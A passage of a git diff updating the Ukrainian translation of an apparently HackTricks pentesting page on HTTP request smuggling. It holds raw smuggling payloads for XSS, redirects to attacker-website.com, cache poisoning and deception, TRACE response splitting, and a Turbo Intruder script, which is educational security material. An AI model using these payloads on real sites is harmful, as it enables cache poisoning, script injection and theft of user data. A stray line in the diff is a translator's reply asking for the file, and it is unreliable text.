 POST / HTTP/1.1
 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@@ -517,36 +566,36 @@ Content-Type: application/x-www-form-urlencoded
 
 A=
 ```
-This payload is structured to exploit the vulnerability by:
+Цей payload структуровано для експлуатації вразливості шляхом:
 
-1. Ініціювання `POST` request, на перший погляд типовий, з заголовком `Transfer-Encoding: chunked`, щоб позначити початок smuggling.
+1. Ініціювання `POST` запиту, здавалося б типовий, з заголовком `Transfer-Encoding: chunked`, що вказує на початок smuggling.
 2. Далі слідує `0`, що позначає кінець chunked message body.
-3. Потім вводиться smuggled `GET` request, в якому заголовок `User-Agent` інжектується скриптом `<script>alert(1)</script>`, що викликає XSS при обробці сервером цього запиту.
+3. Потім вводиться smuggled `GET` запит, в якому заголовок `User-Agent` інжектовано скриптом `<script>alert(1)</script>`, що викликає XSS, коли сервер обробляє цей наступний запит.
 
-Маніпулюючи `User-Agent` через smuggling, payload обходить звичайні обмеження request, таким чином експлуатуючи Reflected XSS в нестандартний, але ефективний спосіб.
+Маніпулюючи `User-Agent` через smuggling, payload обходить звичні обмеження запитів, тим самим експлуатуючи Reflected XSS в нестандартний, але ефективний спосіб.
 
 #### HTTP/0.9
 
 > [!CAUTION]
-> Якщо вміст користувача відображається у відповіді з **`Content-type`**, наприклад **`text/plain`**, це зазвичай перешкоджає виконанню XSS. Якщо сервер підтримує **HTTP/0.9**, можливо обійти це!
+> У разі, якщо вміст користувача відображається у відповіді з **`Content-type`** наприклад **`text/plain`**, що перешкоджає виконанню XSS. Якщо сервер підтримує **HTTP/0.9**, це може дозволити обійти це!
 
-Версія HTTP/0.9 передувала 1.0 і використовує тільки **GET** verbs та **не** повертає **headers**, лише тіло.
+Версія HTTP/0.9 передувала 1.0 і використовує лише **GET**-запити та **не** повертає **заголовки**, лише тіло.
 
-В [**this writeup**](https://mizu.re/post/twisty-python) це було зловжито через request smuggling та **vulnerable endpoint that will reply with the input of the user**, щоб smuggle запит з HTTP/0.9. Параметр, що відображався у відповіді, містив **fake HTTP/1.1 response (with headers and body)**, тому відповідь містила валідний виконуваний JS-код з `Content-Type` `text/html`.
+В [**this writeup**](https://mizu.re/post/twisty-python) це було зловживано через request smuggling та **вразливу endpoint, яка відповідає введеними користувачем даними**, щоб smuggle запит з HTTP/0.9. Параметр, який буде відображено у відповіді, містив **підробну HTTP/1.1 response (with headers and body)**, тому відповідь міститиме виконуваний JS-код з `Content-Type` `text/html`.
 
-### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
+### Експлуатація On-site Redirects за допомогою HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
 
-Застосунки часто роблять перенаправлення з одного URL на інший, використовуючи hostname з заголовка `Host` у URL перенаправлення. Це поширено для веб-серверів типу Apache та IIS. Наприклад, запит папки без кінцевого слеша призводить до редиректу з додаванням слеша:
+Застосунки часто перенаправляють з одного URL на інший, використовуючи hostname з заголовка `Host` у redirect URL. Це поширено для веб-серверів, таких як Apache та IIS. Наприклад, запит папки без кінцевого слеша призводить до редиректу з додаванням слеша:
 ```
 GET /home HTTP/1.1
 Host: normal-website.com
 ```
-Призводить до:
+Результати:
 ```
 HTTP/1.1 301 Moved Permanently
 Location: https://normal-website.com/home/
 ```
-Хоча на перший погляд нешкідлива, цю поведінку можна використати за допомогою HTTP request smuggling для перенаправлення користувачів на зовнішній сайт. Наприклад:
+Хоча на перший погляд нешкідлива, ця поведінка може бути використана за допомогою HTTP request smuggling для перенаправлення користувачів на зовнішній сайт. Наприклад:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@@ -560,7 +609,7 @@ GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: X
 ```
-Цей smuggled запит може призвести до перенаправлення наступного обробленого запиту користувача на attacker-controlled вебсайт:
+Цей smuggled request може спричинити, що наступний оброблений запит користувача буде перенаправлений на attacker-controlled website:
 ```
 GET /home HTTP/1.1
 Host: attacker-website.com
@@ -572,17 +621,17 @@ Host: vulnerable-website.com
 HTTP/1.1 301 Moved Permanently
 Location: https://attacker-website.com/home/
 ```
-У цьому сценарії запит користувача на JavaScript-файл перехоплюється. Атакувальник може скомпрометувати користувача, повернувши шкідливий JavaScript у відповіді.
+У цьому сценарії запит користувача на файл JavaScript перехоплюється. Атакуючий може скомпрометувати користувача, відповівши шкідливим JavaScript.
 
 ### Експлуатація Web Cache Poisoning через HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-Web cache poisoning може бути реалізовано, якщо будь-який компонент front-end інфраструктури кешує контент, зазвичай для покращення продуктивності. Маніпулюючи відповіддю сервера, можна **poison the cache**.
+Web cache poisoning може виконуватися, якщо якийсь компонент **front-end infrastructure caches content**, зазвичай для підвищення продуктивності. Маніпулюючи відповіддю сервера, можна **poison the cache**.
 
-Раніше ми бачили, як відповіді сервера можна змінити, щоб повернути помилку 404 (див. [Basic Examples](#basic-examples)). Аналогічно, можливо обдурити сервер, щоб він віддав вміст `/index.html` у відповіді на запит до `/static/include.js`. Внаслідок цього вміст `/static/include.js` замінюється в кеші на вміст `/index.html`, роблячи `/static/include.js` недоступним для користувачів і потенційно призводячи до Denial of Service (DoS).
+Раніше ми показали, як відповіді сервера можна змінити, щоб повернути помилку 404 (див. [Basic Examples](#basic-examples)). Аналогічно, можна обдурити сервер, щоб він віддав вміст `/index.html` у відповідь на запит до `/static/include.js`. Внаслідок цього вміст `/static/include.js` замінюється в кеші на вміст `/index.html`, через що `/static/include.js` стає недоступним для користувачів, що може призвести до Denial of Service (DoS).
 
-Ця техніка стає особливо потужною, якщо виявлена **Open Redirect vulnerability** або якщо існує **on-site redirect to an open redirect**. Такі вразливості можна використати, щоб замінити кешований вміст `/static/include.js` на скрипт під контролем атакувальника, фактично реалізувавши масштабну Cross-Site Scripting (XSS) атаку проти всіх клієнтів, які запитують оновлений `/static/include.js`.
+Ця техніка стає особливо потужною, якщо виявлено **Open Redirect vulnerability** або якщо існує **on-site redirect to an open redirect**. Такі вразливості можна використати, щоб замінити кешований вміст `/static/include.js` на скрипт під контролем атакуючого, фактично реалізувавши масштабну Cross-Site Scripting (XSS) атаку проти всіх клієнтів, які запитують оновлений `/static/include.js`.
 
-Нижче наведено ілюстрацію експлуатації **cache poisoning combined with an on-site redirect to open redirect**. Мета — змінити кешований вміст `/static/include.js`, щоб він роздавав JavaScript-код під контролем атакувальника:
+Нижче наведено ілюстрацію використання **cache poisoning combined with an on-site redirect to open redirect**. Метою є змінити кешований вміст `/static/include.js`, щоб він повертав JavaScript-код під контролем атакуючого:
 ```
 POST / HTTP/1.1
 Host: vulnerable.net
@@ -600,20 +649,20 @@ Content-Length: 10
 
 x=1
 ```
-Зверніть увагу на вкладений запит, спрямований до `/post/next?postId=3`. Цей запит буде перенаправлено на `/post?postId=4`, використовуючи **Host header value** для визначення домену. Змінивши **Host header**, зловмисник може перенаправити запит на свій домен (**on-site redirect to open redirect**).
+Зверніть увагу на вкладений запит, спрямований на `/post/next?postId=3`. Цей запит буде перенаправлено на `/post?postId=4`, використовуючи значення **Host header value** для визначення домену. Змінюючи **Host header**, атакуючий може перенаправити запит на свій домен (**on-site redirect to open redirect**).
 
-Після успішного **socket poisoning** слід ініціювати **GET request** до `/static/include.js`. Цей запит буде заражений попереднім **on-site redirect to open redirect** запитом і отримає вміст скрипта, контрольованого зловмисником.
+Після успішного **socket poisoning**, слід ініціювати **GET request** до `/static/include.js`. Цей запит буде заражений попереднім **on-site redirect to open redirect** запитом і отримає вміст скрипта, контрольованого атакуючим.
 
-Надалі будь-який запит до `/static/include.js` буде повертати кешований вміст скрипта зловмисника, що фактично запускатиме масштабну XSS-атаку.
+В подальшому будь-який запит до `/static/include.js` повертатиме кешований вміст скрипта атакуючого, фактично запускаючи масивну XSS-атаку.
 
-### Використання HTTP request smuggling для web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
+### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
 
-> **У чому різниця між web cache poisoning та web cache deception?**
+> **Яка різниця між web cache poisoning та web cache deception?**
 >
-> - У випадку **web cache poisoning** зловмисник змушує застосунок зберегти деякий шкідливий вміст у кеші, і цей вміст потім подається з кешу іншим користувачам застосунку.
-> - У випадку **web cache deception** зловмисник змушує застосунок зберегти у кеші чутливий вміст, що належить іншому користувачеві, після чого зловмисник отримує цей вміст з кешу.
+> - У випадку **web cache poisoning** атакуючий змушує застосунок зберегти деякий шкідливий контент у кеші, і цей контент служиться з кешу іншим користувачам застосунку.
+> - У випадку **web cache deception** атакуючий змушує застосунок зберегти в кеші деякий конфіденційний контент, що належить іншому користувачеві, а потім витягує цей контент з кешу.
 
-Зловмисник формує smuggled request, який отримує чутливий контент, специфічний для користувача. Розгляньте наступний приклад:
+Атакуючий формує smuggled request, який отримує чутливий контент, специфічний для користувача. Розгляньмо наступний приклад:
 ```markdown
 `POST / HTTP/1.1`\
 `Host: vulnerable-website.com`\
@@ -624,17 +673,17 @@ x=1
 `GET /private/messages HTTP/1.1`\
 `Foo: X`
 ```
-Якщо цей smuggled request отруює запис кешу, призначений для статичного контенту (наприклад, `/someimage.png`), чутливі дані жертви з `/private/messages` можуть бути закешовані під записом кешу статичного контенту. Відповідно, атакуючий потенційно зможе отримати ці закешовані чутливі дані.
+Якщо цей smuggled request отруює запис кешу, призначений для статичного контенту (наприклад, `/someimage.png`), конфіденційні дані жертви з `/private/messages` можуть опинитися в кеші під записом статичного контенту. Внаслідок цього нападник потенційно зможе отримати ці кешовані чутливі дані.
 
-### Зловживання TRACE через HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Abusing TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-[**In this post**](https://portswigger.net/research/trace-desync-attack) запропоновано, що якщо сервер має метод TRACE увімкнений, можливо зловживати ним за допомогою HTTP Request Smuggling. Це тому, що цей метод відображає будь-який header, надісланий серверу, як частину тіла відповіді. Наприклад:
+[**In this post**](https://portswigger.net/research/trace-desync-attack) пропонується, що якщо на сервері увімкнено метод TRACE, його можна зловживати через HTTP Request Smuggling. Це тому, що цей метод відображає будь-який заголовок, відправлений на сервер, у тілі відповіді. Наприклад:
 ```
 TRACE / HTTP/1.1
 Host: example.com
 XSS: <script>alert("TRACE")</script>
 ```
-Please paste the README.md content you want translated. I will translate the English text to Ukrainian, preserving markdown, code, links, tags and paths exactly as you requested.
+Надішліть, будь ласка, вміст файлу src/pentesting-web/http-request-smuggling/README.md для перекладу. Я перекладу його українською, зберігши оригінальні markdown/HTML-теги, шляхи, посилання й код.
 ```
 HTTP/1.1 200 OK
 Content-Type: message/http
@@ -645,15 +694,15 @@ Host: vulnerable.com
 XSS: <script>alert("TRACE")</script>
 X-Forwarded-For: xxx.xxx.xxx.xxx
 ```
-Приклад того, як зловживати цією поведінкою — **smuggle first a HEAD request**. На цей запит буде повернуто лише **заголовки** GET-запиту (серед них — **`Content-Type`**). І негайно після HEAD слід smuggle **TRACE request**, який буде **відображати надіслані дані**.\
-Оскільки HEAD-відповідь міститиме заголовок `Content-Length`, **відповідь TRACE буде трактуватися як тіло HEAD-відповіді, отже в ній можуть відображатися довільні дані**.\
-Ця відповідь буде відправлена наступному запиту по з'єднанню, тому це, наприклад, може бути **використано в кешованому JS-файлі для ін'єкції довільного JS-коду**.
+Приклад того, як зловживати цією поведінкою, — **smuggle first a HEAD request**. На цей запит буде відповідено лише **headers** of a GET request (**`Content-Type`** серед них). І smuggle **immediately after the HEAD a TRACE request**, який буде **reflecting the sent dat**a.\
+Оскільки у відповіді на HEAD міститиметься заголовок `Content-Length`, **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** у відповіді.\
+Ця відповідь буде відправлена до наступного запиту по з'єднанню, тому це може бути **used in a cached JS file for example to inject arbitrary JS code**.
 
-### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Зловживання TRACE через HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-Продовженням [**this post**](https://portswigger.net/research/trace-desync-attack) пропонується інший спосіб зловживання методом TRACE. Як зазначалося, при smuggling HEAD і TRACE-запитів можливо **контролювати частину відображених даних** у відповіді на HEAD-запит. Довжина тіла HEAD-запиту фактично вказується у заголовку `Content-Length` і формується відповіддю на TRACE-запит.
+Рекомендується також прочитати [**this post**](https://portswigger.net/research/trace-desync-attack) як інший спосіб зловживання методом TRACE. Як зазначалося, smuggling a HEAD request and a TRACE request дозволяє **control some reflected data** у відповіді на HEAD-запит. Довжина тіла HEAD-запиту фактично вказується в заголовку Content-Length і формується відповіддю на TRACE request.
 
-Отже, нова ідея така: знаючи цей `Content-Length` і дані, що повертає TRACE-відповідь, можна зробити так, щоб відповідь TRACE містила валідну HTTP-відповідь після останнього байта, визначеного `Content-Length`, що дозволить атакуючому повністю контролювати запит для наступної відповіді (що може бути використано для cache poisoning).
+Отже, нова ідея така: знаючи цей Content-Length і дані, отримані в TRACE response, можна зробити так, щоб TRACE response містила валідну HTTP-відповідь після останнього байта, визначеного Content-Length, що дозволить нападнику повністю контролювати request для наступної відповіді (що може бути використано для cache poisoning).
 
 Приклад:
 ```
@@ -674,7 +723,7 @@ Content-Length: 44\r\n
 \r\n
 <script>alert("response splitting")</script>
 ```
-Згенерує ці відповіді (зверніть увагу, як у відповіді на HEAD є Content-Length, через що відповідь TRACE стає частиною тіла HEAD, а коли Content-Length у HEAD закінчується, валідна HTTP-відповідь переправляється):
+Згенерує ці відповіді (зверніть увагу, як відповідь HEAD має Content-Length, через що відповідь TRACE стає частиною тіла HEAD, і коли Content-Length у HEAD закінчується, коректна HTTP-відповідь підсовується):
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@@ -695,7 +744,7 @@ Content-Length: 50
 
 <script>alert(“arbitrary response”)</script>
 ```
-### Застосування HTTP Request Smuggling за допомогою HTTP Response Desynchronisation
+### Експлуатація HTTP Request Smuggling за допомогою HTTP Response Desynchronisation
 
 Ви знайшли вразливість HTTP Request Smuggling і не знаєте, як її експлуатувати? Спробуйте ці інші методи експлуатації:
 
@@ -720,11 +769,11 @@ browser-http-request-smuggling.md
 request-smuggling-in-http-2-downgrades.md
 {{#endref}}
 
-## Turbo intruder scripts
+## Turbo intruder скрипти
 
 ### CL.TE
 
-Джерело [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
+Джерело: [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
 ```python
 def queueRequests(target, wordlists):
 
@@ -809,14 +858,14 @@ table.add(req)
 ```
 ## Інструменти
 
-- HTTP Hacker (Burp BApp Store) – візуалізує конкатенацію/фреймінг та низькорівневу поведінку HTTP
+- HTTP Hacker (Burp BApp Store) – візуалізувати конкатенацію/фреймінг та низькорівневу поведінку HTTP
 - https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
 - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
 - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
 - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
 - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
 - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
-- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Цей інструмент — HTTP Fuzzer на основі граматики, корисний для виявлення дивних нестиковок у request smuggling.
+- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Цей інструмент — граматично-орієнтований HTTP Fuzzer, корисний для знаходження дивних невідповідностей у request smuggling.
 
 ## Посилання
 
@@ -829,10 +878,11 @@ table.add(req)
 - [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
 - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
 - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
-- Остерігайтеся помилки «false false‑positive»: як відрізнити HTTP pipelining від request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
+- Увага: подвійні хибнопозитиви — як відрізнити HTTP pipelining від request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
 - [https://http1mustdie.com/](https://http1mustdie.com/)
 - Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
 - PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
+- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die)
 
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/theme/sponsor.js b/theme/sponsor.js
index 5b3f66804..dd647eaf6 100644
--- a/theme/sponsor.js
+++ b/theme/sponsor.js
@@ -15,7 +15,8 @@
   var mobilesponsorCTA = mobilesponsorSide.querySelector(".mobilesponsor-cta")
 
   async function getSponsor() {
-    const url = "https://book.hacktricks.wiki/sponsor"
+    const currentUrl = encodeURIComponent(window.location.href);
+    const url = `https://book.hacktricks.wiki/sponsor?current_url=${currentUrl}`;
     try {
       const response = await fetch(url, { method: "GET" })
       if (!response.ok) {